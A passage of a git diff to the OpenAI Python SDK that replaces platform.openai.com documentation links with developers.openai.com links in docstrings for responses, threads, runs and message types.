capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -439,7 +442,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
betas: Annotated[List[Literal["responses_multi_agent=v1"]], PropertyInfo(alias="openai-beta")]
@@ -511,7 +514,7 @@ class MultiAgent(TypedDict, total=False):
class PromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
comparison_response_id: Optional[str]
@@ -542,7 +545,7 @@ class PromptCacheOptions(TypedDict, total=False):
class Reasoning(TypedDict, total=False):
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]]
@@ -562,7 +565,7 @@ class Reasoning(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -631,7 +634,7 @@ class ResponseCreateParamsNonStreaming(ResponseCreateParamsBase, total=False):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -643,7 +646,7 @@ class ResponseCreateParamsStreaming(ResponseCreateParamsBase):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
diff --git a/src/openai/types/beta/response_retrieve_params.py b/src/openai/types/beta/response_retrieve_params.py
index 6213605a70..bddae0f355 100644
--- a/src/openai/types/beta/response_retrieve_params.py
+++ b/src/openai/types/beta/response_retrieve_params.py
@@ -42,7 +42,7 @@ class ResponseRetrieveParamsNonStreaming(ResponseRetrieveParamsBase, total=False
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -54,7 +54,7 @@ class ResponseRetrieveParamsStreaming(ResponseRetrieveParamsBase):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
diff --git a/src/openai/types/beta/responses/input_token_count_params.py b/src/openai/types/beta/responses/input_token_count_params.py
index ce3532ab4c..e4c2d3f32a 100644
--- a/src/openai/types/beta/responses/input_token_count_params.py
+++ b/src/openai/types/beta/responses/input_token_count_params.py
@@ -54,8 +54,8 @@ class InputTokenCountParams(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
parallel_tool_calls: Optional[bool]
@@ -72,14 +72,14 @@ class InputTokenCountParams(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
reasoning: Optional[Reasoning]
"""
**gpt-5 and o-series models only** Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
text: Optional[Text]
@@ -87,8 +87,8 @@ class InputTokenCountParams(TypedDict, total=False):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: Optional[ToolChoice]
@@ -118,7 +118,7 @@ class InputTokenCountParams(TypedDict, total=False):
class Reasoning(TypedDict, total=False):
"""
- **gpt-5 and o-series models only** Configuration options for [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ **gpt-5 and o-series models only** Configuration options for [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]]
@@ -138,7 +138,7 @@ class Reasoning(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -172,8 +172,8 @@ class Text(TypedDict, total=False):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: BetaResponseFormatTextConfigParam
@@ -181,7 +181,7 @@ class Text(TypedDict, total=False):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
diff --git a/src/openai/types/beta/thread.py b/src/openai/types/beta/thread.py
index e0069c618d..9a0bbc8f2c 100644
--- a/src/openai/types/beta/thread.py
+++ b/src/openai/types/beta/thread.py
@@ -12,9 +12,9 @@
class ToolResourcesCodeInterpreter(BaseModel):
file_ids: Optional[List[str]] = None
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -22,7 +22,7 @@ class ToolResourcesFileSearch(BaseModel):
vector_store_ids: Optional[List[str]] = None
"""
The
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this thread. There can be a maximum of 1 vector store attached to
the thread.
"""
@@ -40,7 +40,7 @@ class ToolResources(BaseModel):
class Thread(BaseModel):
"""
- Represents a thread that contains [messages](https://platform.openai.com/docs/api-reference/messages).
+ Represents a thread that contains [messages](https://developers.openai.com/api/docs/assistants/migration).
"""
id: str
diff --git a/src/openai/types/beta/thread_create_and_run_params.py b/src/openai/types/beta/thread_create_and_run_params.py
index 2e0d616ac9..dbdc17ed9d 100644
--- a/src/openai/types/beta/thread_create_and_run_params.py
+++ b/src/openai/types/beta/thread_create_and_run_params.py
@@ -42,8 +42,8 @@ class ThreadCreateAndRunParamsBase(TypedDict, total=False):
assistant_id: Required[str]
"""
The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
"""
instructions: Optional[str]
@@ -82,30 +82,31 @@ class ThreadCreateAndRunParamsBase(TypedDict, total=False):
model: Union[str, ChatModel, None]
"""
- The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
"""
parallel_tool_calls: bool
"""
Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
"""
response_format: Optional[AssistantResponseFormatOptionParam]
"""Specifies the format that the model must output.
- Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -220,9 +221,9 @@ class ThreadMessage(TypedDict, total=False):
class ThreadToolResourcesCodeInterpreter(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -273,10 +274,10 @@ class ThreadToolResourcesFileSearchVectorStore(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs to
- add to the vector store. For vector stores created before Nov 2025, there can be
- a maximum of 10,000 files in a vector store. For vector stores created starting
- in Nov 2025, the limit is 100,000,000 files.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs to add to the vector store. For vector stores created before Nov 2025, there
+ can be a maximum of 10,000 files in a vector store. For vector stores created
+ starting in Nov 2025, the limit is 100,000,000 files.
"""
metadata: Optional[Metadata]
@@ -294,7 +295,7 @@ class ThreadToolResourcesFileSearch(TypedDict, total=False):
vector_store_ids: SequenceNotStr[str]
"""
The
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this thread. There can be a maximum of 1 vector store attached to
the thread.
"""
@@ -302,7 +303,7 @@ class ThreadToolResourcesFileSearch(TypedDict, total=False):
vector_stores: Iterable[ThreadToolResourcesFileSearchVectorStore]
"""
A helper to create a
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
with file_ids and attach it to this thread. There can be a maximum of 1 vector
store attached to the thread.
"""
@@ -327,8 +328,9 @@ class Thread(TypedDict, total=False):
messages: Iterable[ThreadMessage]
"""
- A list of [messages](https://platform.openai.com/docs/api-reference/messages) to
- start the thread with.
+ A list of
+ [messages](https://developers.openai.com/api/docs/assistants/migration) to start
+ the thread with.
"""
metadata: Optional[Metadata]
@@ -353,9 +355,9 @@ class Thread(TypedDict, total=False):
class ToolResourcesCodeInterpreter(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -363,7 +365,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_store_ids: SequenceNotStr[str]
"""
The ID of the
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this assistant. There can be a maximum of 1 vector store attached to
the assistant.
"""
diff --git a/src/openai/types/beta/thread_create_params.py b/src/openai/types/beta/thread_create_params.py
index 3e66b71b7b..4524d3ac77 100644
--- a/src/openai/types/beta/thread_create_params.py
+++ b/src/openai/types/beta/thread_create_params.py
@@ -30,8 +30,9 @@
class ThreadCreateParams(TypedDict, total=False):
messages: Iterable[Message]
"""
- A list of [messages](https://platform.openai.com/docs/api-reference/messages) to
- start the thread with.
+ A list of
+ [messages](https://developers.openai.com/api/docs/assistants/migration) to start
+ the thread with.
"""
metadata: Optional[Metadata]
@@ -99,9 +100,9 @@ class Message(TypedDict, total=False):
class ToolResourcesCodeInterpreter(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -151,10 +152,10 @@ class ToolResourcesFileSearchVectorStore(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs to
- add to the vector store. For vector stores created before Nov 2025, there can be
- a maximum of 10,000 files in a vector store. For vector stores created starting
- in Nov 2025, the limit is 100,000,000 files.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs to add to the vector store. For vector stores created before Nov 2025, there
+ can be a maximum of 10,000 files in a vector store. For vector stores created
+ starting in Nov 2025, the limit is 100,000,000 files.
"""
metadata: Optional[Metadata]
@@ -172,7 +173,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_store_ids: SequenceNotStr[str]
"""
The
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this thread. There can be a maximum of 1 vector store attached to
the thread.
"""
@@ -180,7 +181,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_stores: Iterable[ToolResourcesFileSearchVectorStore]
"""
A helper to create a
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
with file_ids and attach it to this thread. There can be a maximum of 1 vector
store attached to the thread.
"""
diff --git a/src/openai/types/beta/thread_update_params.py b/src/openai/types/beta/thread_update_params.py
index e0855a22ac..d4db589684 100644
--- a/src/openai/types/beta/thread_update_params.py
+++ b/src/openai/types/beta/thread_update_params.py
@@ -34,9 +34,9 @@ class ThreadUpdateParams(TypedDict, total=False):
class ToolResourcesCodeInterpreter(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -44,7 +44,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_store_ids: SequenceNotStr[str]
"""
The
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this thread. There can be a maximum of 1 vector store attached to
the thread.
"""
diff --git a/src/openai/types/beta/threads/image_file.py b/src/openai/types/beta/threads/image_file.py
index f28be3d7cb..87c9969f1b 100644
--- a/src/openai/types/beta/threads/image_file.py
+++ b/src/openai/types/beta/threads/image_file.py
@@ -11,9 +11,9 @@
class ImageFile(BaseModel):
file_id: str
"""
- The [File](https://platform.openai.com/docs/api-reference/files) ID of the image
- in the message content. Set `purpose="vision"` when uploading the File if you
- need to later display the file content.
+ The [File](https://developers.openai.com/api/reference/resources/files) ID of
+ the image in the message content. Set `purpose="vision"` when uploading the File
+ if you need to later display the file content.
"""
detail: Optional[Literal["auto", "low", "high"]] = None
diff --git a/src/openai/types/beta/threads/image_file_content_block.py b/src/openai/types/beta/threads/image_file_content_block.py
index 63b0cc936d..8739286a9c 100644
--- a/src/openai/types/beta/threads/image_file_content_block.py
+++ b/src/openai/types/beta/threads/image_file_content_block.py
@@ -10,7 +10,7 @@
class ImageFileContentBlock(BaseModel):
"""
- References an image [File](https://platform.openai.com/docs/api-reference/files) in the content of a message.
+ References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
"""
image_file: ImageFile
diff --git a/src/openai/types/beta/threads/image_file_content_block_param.py b/src/openai/types/beta/threads/image_file_content_block_param.py
index 59ad825d74..1eaa6d96a0 100644
--- a/src/openai/types/beta/threads/image_file_content_block_param.py
+++ b/src/openai/types/beta/threads/image_file_content_block_param.py
@@ -11,7 +11,7 @@
class ImageFileContentBlockParam(TypedDict, total=False):
"""
- References an image [File](https://platform.openai.com/docs/api-reference/files) in the content of a message.
+ References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
"""
image_file: Required[ImageFileParam]
diff --git a/src/openai/types/beta/threads/image_file_delta.py b/src/openai/types/beta/threads/image_file_delta.py
index 270c275fad..63cb685434 100644
--- a/src/openai/types/beta/threads/image_file_delta.py
+++ b/src/openai/types/beta/threads/image_file_delta.py
@@ -17,7 +17,7 @@ class ImageFileDelta(BaseModel):
file_id: Optional[str] = None
"""
- The [File](https://platform.openai.com/docs/api-reference/files) ID of the image
- in the message content. Set `purpose="vision"` when uploading the File if you
- need to later display the file content.
+ The [File](https://developers.openai.com/api/reference/resources/files) ID of
+ the image in the message content. Set `purpose="vision"` when uploading the File
+ if you need to later display the file content.
"""
diff --git a/src/openai/types/beta/threads/image_file_delta_block.py b/src/openai/types/beta/threads/image_file_delta_block.py
index 3ffd3fadca..01a72c5247 100644
--- a/src/openai/types/beta/threads/image_file_delta_block.py
+++ b/src/openai/types/beta/threads/image_file_delta_block.py
@@ -11,7 +11,7 @@
class ImageFileDeltaBlock(BaseModel):
"""
- References an image [File](https://platform.openai.com/docs/api-reference/files) in the content of a message.
+ References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
"""
index: int
diff --git a/src/openai/types/beta/threads/image_file_param.py b/src/openai/types/beta/threads/image_file_param.py
index 6fd4342332..ac3c7ddaed 100644
--- a/src/openai/types/beta/threads/image_file_param.py
+++ b/src/openai/types/beta/threads/image_file_param.py
@@ -10,9 +10,9 @@
class ImageFileParam(TypedDict, total=False):
file_id: Required[str]
"""
- The [File](https://platform.openai.com/docs/api-reference/files) ID of the image
- in the message content. Set `purpose="vision"` when uploading the File if you
- need to later display the file content.
+ The [File](https://developers.openai.com/api/reference/resources/files) ID of
+ the image in the message content. Set `purpose="vision"` when uploading the File
+ if you need to later display the file content.
"""
detail: Literal["auto", "low", "high"]
diff --git a/src/openai/types/beta/threads/message.py b/src/openai/types/beta/threads/message.py
index 1a684f301c..5aa80d9b48 100644
--- a/src/openai/types/beta/threads/message.py
+++ b/src/openai/types/beta/threads/message.py
@@ -42,7 +42,7 @@ class IncompleteDetails(BaseModel):
class Message(BaseModel):
"""
- Represents a message within a [thread](https://platform.openai.com/docs/api-reference/threads).
+ Represents a message within a [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
id: str
@@ -51,7 +51,7 @@ class Message(BaseModel):
assistant_id: Optional[str] = None
"""
If applicable, the ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) that
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) that
authored this message.
"""
@@ -91,7 +91,7 @@ class Message(BaseModel):
run_id: Optional[str] = None
"""
- The ID of the [run](https://platform.openai.com/docs/api-reference/runs)
+ The ID of the [run](https://developers.openai.com/api/docs/assistants/migration)
associated with the creation of this message. Value is `null` when messages are
created manually using the create message or create thread endpoints.
"""
@@ -104,6 +104,6 @@ class Message(BaseModel):
thread_id: str
"""
- The [thread](https://platform.openai.com/docs/api-reference/threads) ID that
- this message belongs to.
+ The [thread](https://developers.openai.com/api/docs/assistants/migration) ID
+ that this message belongs to.
"""
diff --git a/src/openai/types/beta/threads/required_action_function_tool_call.py b/src/openai/types/beta/threads/required_action_function_tool_call.py
index b8bf858e22..def92306ae 100644
--- a/src/openai/types/beta/threads/required_action_function_tool_call.py
+++ b/src/openai/types/beta/threads/required_action_function_tool_call.py
@@ -24,7 +24,7 @@ class RequiredActionFunctionToolCall(BaseModel):
"""The ID of the tool call.
This ID must be referenced when you submit the tool outputs in using the
- [Submit tool outputs to run](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs)
+ [Submit tool outputs to run](https://developers.openai.com/api/docs/assistants/migration)
endpoint.
"""
diff --git a/src/openai/types/beta/threads/run.py b/src/openai/types/beta/threads/run.py
index 5eb5b9de82..e1ba8be330 100644
--- a/src/openai/types/beta/threads/run.py
+++ b/src/openai/types/beta/threads/run.py
@@ -106,7 +106,7 @@ class Usage(BaseModel):
class Run(BaseModel):
"""
- Represents an execution run on a [thread](https://platform.openai.com/docs/api-reference/threads).
+ Represents an execution run on a [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
id: str
@@ -115,8 +115,8 @@ class Run(BaseModel):
assistant_id: str
"""
The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) used for
- execution of this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) used
+ for execution of this run.
"""
cancelled_at: Optional[int] = None
@@ -143,8 +143,8 @@ class Run(BaseModel):
instructions: str
"""
The instructions that the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) used for
- this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) used
+ for this run.
"""
last_error: Optional[LastError] = None
@@ -175,8 +175,8 @@ class Run(BaseModel):
model: str
"""
The model that the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) used for
- this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) used
+ for this run.
"""
object: Literal["thread.run"]
@@ -185,7 +185,7 @@ class Run(BaseModel):
parallel_tool_calls: bool
"""
Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
"""
@@ -198,14 +198,14 @@ class Run(BaseModel):
response_format: Optional[AssistantResponseFormatOption] = None
"""Specifies the format that the model must output.
- Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -231,8 +231,9 @@ class Run(BaseModel):
thread_id: str
"""
- The ID of the [thread](https://platform.openai.com/docs/api-reference/threads)
- that was executed on as a part of this run.
+ The ID of the
+ [thread](https://developers.openai.com/api/docs/assistants/migration) that was
+ executed on as a part of this run.
"""
tool_choice: Optional[AssistantToolChoiceOption] = None
@@ -249,8 +250,8 @@ class Run(BaseModel):
tools: List[AssistantTool]
"""
The list of tools that the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) used for
- this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) used
+ for this run.
"""
truncation_strategy: Optional[TruncationStrategy] = None
diff --git a/src/openai/types/beta/threads/run_create_params.py b/src/openai/types/beta/threads/run_create_params.py
index 2ddfd26267..d2be422b0f 100644
--- a/src/openai/types/beta/threads/run_create_params.py
+++ b/src/openai/types/beta/threads/run_create_params.py
@@ -31,8 +31,8 @@ class RunCreateParamsBase(TypedDict, total=False):
assistant_id: Required[str]
"""
The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
"""
include: List[RunStepInclude]
@@ -43,7 +43,7 @@ class RunCreateParamsBase(TypedDict, total=False):
search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
@@ -60,8 +60,8 @@ class RunCreateParamsBase(TypedDict, total=False):
instructions: Optional[str]
"""
Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
"""
max_completion_tokens: Optional[int]
@@ -94,16 +94,17 @@ class RunCreateParamsBase(TypedDict, total=False):
model: Union[str, ChatModel, None]
"""
- The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
"""
parallel_tool_calls: bool
"""
Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
"""
@@ -114,21 +115,21 @@ class RunCreateParamsBase(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
response_format: Optional[AssistantResponseFormatOptionParam]
"""Specifies the format that the model must output.
- Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
diff --git a/src/openai/types/beta/threads/runs/code_interpreter_output_image.py b/src/openai/types/beta/threads/runs/code_interpreter_output_image.py
index 833ae125fa..5a3694ffcb 100644
--- a/src/openai/types/beta/threads/runs/code_interpreter_output_image.py
+++ b/src/openai/types/beta/threads/runs/code_interpreter_output_image.py
@@ -11,8 +11,8 @@
class Image(BaseModel):
file_id: Optional[str] = None
"""
- The [file](https://platform.openai.com/docs/api-reference/files) ID of the
- image.
+ The [file](https://developers.openai.com/api/reference/resources/files) ID of
+ the image.
"""
